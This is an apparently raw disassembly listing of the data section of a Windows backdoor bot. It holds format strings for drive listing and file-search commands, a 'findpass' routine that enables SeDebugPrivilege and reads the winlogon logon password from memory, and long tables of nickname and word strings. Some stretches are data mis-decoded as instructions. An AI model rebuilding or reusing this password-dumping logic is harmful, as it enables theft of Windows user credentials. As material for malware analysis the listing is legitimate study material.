unk_437848	db  2Dh	; -		; DATA XREF: sub_416B56+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_437884	db  2Dh	; -		; DATA XREF: sub_416B56+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_1		db 'A:\',0              ; DATA XREF: sub_416C28:loc_416C6Do
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_437930	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417093o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_437964	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417066o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_437990	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_41705Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 4
unk_4379C8	db  2Dh	; -		; DATA XREF: sub_416F1A+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_437A24	dd offset aMjehm	; DATA XREF: sub_416F1A+DCo
					; "M†Eh¬"
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004D
		dd offset loc_4E0047+2
		dd 0
off_437A3C	dd offset aMjehm	; DATA XREF: sub_416F1A+CEo
					; "M†Eh¬"
		dd offset byte_520045
		dd offset loc_41004D+1
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F1A+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o
					; sub_416F1A+161o ...
		align 10h
unk_437B00	db  2Dh	; -		; DATA XREF: sub_416F1A+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 10h
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4170EC+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4170EC+123o
		align 10h
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4170EC+AFo
		align 4
dword_437B4C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417552+70o
					; sub_4175E9+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_437B9C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4175E9+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_437BF0	dd offset aQ		; DATA XREF: sub_417ADD+5Cr
					; "q"
; ---------------------------------------------------------------------------
		mov	al, ds:38004387h
		lodsb
		inc	edx
		add	[ebx+eax*8], al
		inc	edx
		add	[eax-3Eh], bh
		inc	edx
		add	[edi+eax*4-5587FFBDh], bl
		inc	edx
		add	ah, dl
		retn	42h
; ---------------------------------------------------------------------------
		push	esp
		stosb
		inc	edx
		add	ah, dl
		lodsb
		inc	edx
		add	ah, bl
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aD		; "d"
		dd offset dword_438798
		dd offset dword_438794
		dd offset dword_438790
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_43878C
		dd offset dword_438788
		dd offset dword_438784
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_438780
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_43877C
		dd offset dword_438778
		dd offset dword_438774
		dd offset dword_438770
		dd offset dword_43876C
		dd offset word_438768
		dd offset dword_438764
		dd offset aI_0		; "I"
		dd offset dword_438760
		dd offset dword_43875C
		dd offset aA_0		; "A"
		dd offset dword_438758
		dd offset dword_438754
		dd offset dword_438750
		dd offset dword_43874C
		dd offset dword_438748
		dd offset dword_438744
		dd offset dword_438740
		dd offset dword_43873C
		dd offset dword_438738
		dd offset dword_438734
		dd offset dword_438730
		dd offset dword_43872C
		dd offset dword_438728
		dd offset word_438724
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary		; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_4384BC
		dd offset off_4384B8
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438324
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_437EF0	dd offset aSex_0	; DATA XREF: sub_417ADD+41r
					; sub_417ADD+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex		; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick		; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset dword_438780
		dd offset aC		; "c"
		dd offset aD		; "d"
		db  38h	; 8
		db 0ACh	; ¬
		db  42h	; B
		db    0
		db  98h	; ˜
		db  87h	; ‡
		db  43h	; C
		db    0
		db  94h	; ”
		db  87h	; ‡
		db  43h	; C
		db    0
		db  90h	; 
		db  87h	; ‡
		db  43h	; C
		db    0
		db 0D4h	; Ô
		db 0C2h	; Â
		db  42h	; B
		db    0
; ---------------------------------------------------------------------------
		cld
		mov	ah, 42h
		add	[ebx+esi*4+42h], al
		add	[eax-39h], bl
		inc	edx
		add	[edi+eax*4-533BFFBDh], cl
		inc	edx
		add	[eax-4Dh], cl
		inc	edx
		add	al, bh
		mov	dl, 42h
		add	[edx+ebp*4+42h], dl
		add	al, ch
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
; ---------------------------------------------------------------------------
		mov	al, ds:84004387h
		xchg	eax, [ebx+0]
		pushf
		xchg	eax, [ebx+0]
		mov	[edi-7E83FFBDh], al
		inc	ebx
		add	[eax-7Fh], bh
		inc	ebx
		add	[ecx+eax*4+43h], dh
		add	[eax-7Fh], dh
		inc	ebx
		add	[ecx+eax*4+43h], ch
		add	[eax-7Fh], ch
		inc	ebx
		add	[ecx+eax*4+43h], ah
		add	[ecx+eax*4+43h], bl
		add	[ecx+eax*4+43h], dl
		add	[ecx+eax*4+43h], cl
		add	[ecx+eax*4+43h], al
		add	[eax-6BFFBC79h], cl
		xchg	eax, [ebx+0]
		fadd	st(2), st
		inc	edx
		add	al, ch
		retn	42h
; ---------------------------------------------------------------------------
		dd offset off_438140
		dd offset aBbl		; "|bbl"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset a___0		; "_|_"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_438750
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_438780
		dd offset dword_43D128
		dd offset aSleeping	; "Sleeping"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset aFuck		; "Fuck"
		dd offset aFree		; "Free"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_438734
		dd offset dword_43D128
		dd offset off_438100
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_4380C0
		dd offset dword_4380BC
		dd offset dword_4380B4
		dd offset dword_4380A8
		dd offset dword_4380A0
		dd offset dword_438098
		dd offset dword_438090
		dd offset dword_43808C
		dd offset dword_438088
dword_438088	dd 7536h		; DATA XREF: ___:00438084o
dword_43808C	dd 7535h		; DATA XREF: ___:00438080o
dword_438090	dd 7C75347Ch, 0		; DATA XREF: ___:0043807Co
dword_438098	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438078o
dword_4380A0	dd 7375347Ch, 7Ch	; DATA XREF: ___:00438074o
dword_4380A8	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438070o
dword_4380B4	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:0043806Co
dword_4380BC	dd 6C6F6Ch		; DATA XREF: ___:00438068o
dword_4380C0	dd 746F74h		; DATA XREF: ___:00438064o
aMofo		db 'mofo',0             ; DATA XREF: ___:00438060o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:0043805Co
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438058o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:00438054o
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438050o
aShit		db 'shit',0             ; DATA XREF: ___:0043804Co
		align 10h
aGurl		db 'gurl',0             ; DATA XREF: ___:00438048o
		align 4
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:00438044o
		align 10h
off_438100	dd offset word_594F42	; DATA XREF: ___:00438040o
aFree		db 'Free',0             ; DATA XREF: ___:0043802Co
		align 4
aFuck		db 'Fuck',0             ; DATA XREF: ___:00438028o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:0043801Co
		align 10h
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438010o
		align 4
aSad		db 'Sad',0              ; DATA XREF: ___:0043800Co
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438008o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:00437FECo
aBbl		db '|bbl',0             ; DATA XREF: ___:00437FE0o
		align 10h
off_438140	dd offset loc_425242	; DATA XREF: ___:00437FDCo
aMuckc		db 'muckc',0
		align 4
aTruck		db 'truck',0
		align 4
aTrimy		db 'trimy',0
		align 4
aLuvy		db 'luvy',0
		align 4
aUi		db 'ui',0
		align 4
aSdf		db 'sdf',0
aRt		db 'rt',0
		align 10h
aGf		db 'gf',0
		align 4
aTy		db 'ty',0
		align 4
aRg		db 'rg',0
		align 4
aHappy		db 'happy',0
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00437F80o
		align 4
aQ8A		db '|q8|a',0            ; DATA XREF: ___:00437F38o
		align 10h
aQ8		db 'Q8',0               ; DATA XREF: ___:00437F34o
		align 4
aSick		db 'sick}}',0           ; DATA XREF: ___:00437F30o
		align 4
aWiked		db '|wiked|',0          ; DATA XREF: ___:00437F2Co
aLuvuF		db '||luvu-f|',0        ; DATA XREF: ___:00437F28o
		align 10h
aGens		db '{gens|',0           ; DATA XREF: ___:00437F24o
		align 4
aSex		db '{sex}',0            ; DATA XREF: ___:00437F20o
		align 10h
aHub		db '{hub}',0            ; DATA XREF: ___:00437F1Co
		align 4
aLuck		db '|luck|',0           ; DATA XREF: ___:00437F18o
		align 10h
aSuck		db '|suck|',0           ; DATA XREF: ___:00437F14o
		align 4
aTot		db '-|tot|',0           ; DATA XREF: ___:00437F10o
		align 10h
aWoh		db '|woh|',0            ; DATA XREF: ___:00437F0Co
		align 4
aTambe		db '|tambe|',0          ; DATA XREF: ___:00437F08o
aLag		db 'lag',0              ; DATA XREF: ___:00437F04o
aBad		db 'bad',0              ; DATA XREF: ___:00437F00o
aTree		db 'tree',0             ; DATA XREF: ___:00437EFCo
		align 10h
aZex		db 'zex',0              ; DATA XREF: ___:00437EF8o
aLez		db 'lez',0              ; DATA XREF: ___:00437EF4o
aSex_0		db 'sex',0              ; DATA XREF: ___:off_437EF0o
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:00437EECo
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:00437EE8o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:00437EE4o
		align 4
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:00437EE0o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:00437EDCo
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00437ED8o
		align 10h
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00437ED4o
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00437ED0o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:00437ECCo
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00437EC8o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00437EC4o
		align 10h
aPassenger	db 'passenger',0        ; DATA XREF: ___:00437EC0o
		align 4
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:00437EBCo
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:00437EB8o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00437EB4o
aAkden		db 'akden',0            ; DATA XREF: ___:00437EB0o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: ___:00437EACo
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:00437EA8o
		align 4
aFirtina	db 'firtina',0          ; DATA XREF: ___:00437EA4o
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00437EA0o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00437E9Co
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00437E98o
		align 10h
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00437E94o
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00437E90o
		align 10h
aErkan		db 'erkan',0            ; DATA XREF: ___:00437E8Co
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00437E88o
		align 10h
aYabanc		db 'yabanc',0           ; DATA XREF: ___:00437E84o
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:00437E80o
		align 10h
aA44m		db 'a44m',0             ; DATA XREF: ___:00437E7Co
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:00437E78o
		align 4
off_438324	dd offset byte_4B5245	; DATA XREF: ___:00437E74o
aSevda		db 'sevda',0            ; DATA XREF: ___:00437E70o
		align 10h
aKotan		db 'kotan',0            ; DATA XREF: ___:00437E6Co
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:00437E68o
		align 10h
aAchilles	db 'Achilles',0         ; DATA XREF: ___:00437E64o
		align 4
aKapk		db 'kapk',0             ; DATA XREF: ___:00437E60o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:00437E5Co
		align 10h
aHayran		db 'hayran',0           ; DATA XREF: ___:00437E58o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:00437E54o
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:00437E50o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:00437E4Co
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:00437E48o
		align 10h
aUmut		db 'umut-',0            ; DATA XREF: ___:00437E44o
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:00437E40o
		align 10h
aKumul		db 'kumul',0            ; DATA XREF: ___:00437E3Co
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:00437E38o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:00437E34o
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:00437E30o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:00437E2Co
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:00437E28o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:00437E24o
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00437E20o
aHoly		db 'holy',0             ; DATA XREF: ___:00437E1Co
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00437E18o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:00437E14o
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00437E10o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00437E0Co
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00437E08o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:00437E04o
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:00437E00o
		align 10h
aHakan3		db 'hakan3',0           ; DATA XREF: ___:00437DFCo
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:00437DF8o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:00437DF4o
aArda		db 'arda',0             ; DATA XREF: ___:00437DF0o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:00437DECo
		align 10h
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:00437DE8o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:00437DE4o
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:00437DE0o
		align 10h
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:00437DDCo
		align 4
aBogac		db 'bogac',0            ; DATA XREF: ___:00437DD8o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:00437DD4o
		align 10h
aAnkh		db 'ankh',0             ; DATA XREF: ___:00437DD0o
		align 4
off_4384B8	dd offset byte_457441	; DATA XREF: ___:00437DCCo
dword_4384BC	dd 414C5941h, 2Dh	; DATA XREF: ___:00437DC8o
aAlbina		db 'albina',0           ; DATA XREF: ___:00437DC4o
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00437DC0o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:00437DBCo
		align 10h
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00437DB8o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:00437DB4o
		align 10h
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00437DB0o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:00437DACo
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00437DA8o
		align 10h
aRetg		db 'RETG',0             ; DATA XREF: ___:00437DA4o
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00437DA0o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00437D9Co
aAslii		db 'aslii',0            ; DATA XREF: ___:00437D98o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:00437D94o
aHaticem	db 'haticem',0          ; DATA XREF: ___:00437D90o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00437D8Co
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00437D88o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:00437D84o
		align 10h
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:00437D80o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: ___:00437D7Co
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:00437D78o
		align 10h
aTrend3		db 'trend3',0           ; DATA XREF: ___:00437D74o
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:00437D70o
		align 10h
aAkin		db 'AKIN',0             ; DATA XREF: ___:00437D6Co
		align 4
aMary		db 'MARY',0             ; DATA XREF: ___:00437D68o
		align 10h
aJericho	db 'JERICHO',0          ; DATA XREF: ___:00437D64o
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:00437D60o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:00437D5Co
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: ___:00437D58o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:00437D54o
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:00437D50o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:00437D4Co
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:00437D48o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:00437D44o
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:00437D40o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:00437D3Co
		align 10h
aKencing	db 'Kencing',0          ; DATA XREF: ___:00437D38o
aReshma		db 'reshma',0           ; DATA XREF: ___:00437D34o
		align 10h
aCamel		db 'CAMEL',0            ; DATA XREF: ___:00437D30o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:00437D2Co
		align 10h
aImra		db 'imra',0             ; DATA XREF: ___:00437D28o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:00437D24o
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00437D20o
		align 10h
aKermit		db 'kermit',0           ; DATA XREF: ___:00437D1Co
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:00437D18o
		align 10h
aTroller	db 'troller',0          ; DATA XREF: ___:00437D14o
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00437D10o
		align 10h
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00437D0Co
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00437D08o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:00437D04o
		align 4
aBunty		db 'bunty',0            ; DATA XREF: ___:00437D00o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:00437CFCo
		align 4
aCme		db 'cme',0              ; DATA XREF: ___:00437CF8o
